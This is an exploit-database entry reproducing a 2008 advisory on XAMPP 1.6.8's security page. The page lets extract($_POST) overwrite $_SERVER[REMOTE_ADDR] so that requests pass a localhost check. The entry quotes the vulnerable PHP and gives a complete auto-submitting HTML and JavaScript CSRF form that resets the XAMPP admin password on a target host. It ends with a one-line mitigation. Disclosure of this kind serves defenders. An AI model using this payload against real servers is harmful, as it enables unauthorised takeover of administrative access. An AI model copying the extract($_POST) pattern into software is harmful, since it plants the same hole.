header-logo
Suggest Exploit
vendor:
XAMPP
by:
Michael Brooks
7.5
CVSS
HIGH
Global variable manipulation and XSRF
20
CWE
Product Name: XAMPP
Affected Version From: 1.6.2008
Affected Version To: 1.6.2008
Patch Exists: YES
Related CWE: N/A
CPE: a:apache:xampp
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2008

XAMPP change administrative password

XAMPP has two vulnerabilities that are being used together: Global variable manipulation to spoof ip address and XSRF to change the .htaccess password for http://10.1.1.10/security/ and http://10.1.1.10/xampp/. The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and this cannot normally be spoofed. However extract($_POST); can be used to overwrite any declared variable, including the $_SERVER superglobal. This can be used to 'spoof' the ip address as 127.0.0.1. This xsrf attack can be exploited from a browser in any ip address, so long as that browser is currently authenticated.

Mitigation:

Disable register_globals in php.ini and use a secure authentication system.
Source

Exploit-DB raw data:

XAMPP change administrative password:
--------------------------------------------------------------------------------
Written by Michael Brooks
special thanks to str0ke

Affects XAMPP 1.6.8.
homepage: http://www.apachefriends.org/
XAMPP has 17+ million downloads from sourceforge.net.
register_globals=On or Off
This attack is exploitable even when this page is reporting a fully
secure system: http://10.1.1.10/security/index.php

There are two vulnerabilities that are being used toagther.
1)Global variable manipulation to spoof ip address.
2)XSRF to change the .htaccess password for http://10.1.1.10/security/
 and http://10.1.1.10/xampp/ .

The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
this cannot normally be spoofed.
However extract($_POST); can be used to overwrite any declared
variable,  including the $_SERVER superglobal.  This can be used to
"spoof"  your ip address as 127.0.0.1
This xsrf attack can be exploited from a browser in any ip address, so
long as that browser is currently authenticated.

This vulnerable code is from the very top of: /security/xamppsecurity.php
<?php
       error_reporting(0);
       extract($_POST);
       extract($_SERVER);
       $host = "127.0.0.1";
       $timeout = "1";

       if ($REMOTE_ADDR) {
               if ($REMOTE_ADDR != $host) {
                       echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
                       exit;
               }
       }
//...

//Start of xsrf attack
<html>
	<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
	          <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
		<input type=hidden name="xamppuser" value=admin >
		<input type=hidden name="xampppasswd" value=password>
		<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
		<input type=submit>
	</form>
</html>
<script>
	document.getElementById(1).submit();
</script>
//End of xsrf attack

# milw0rm.com [2008-12-08]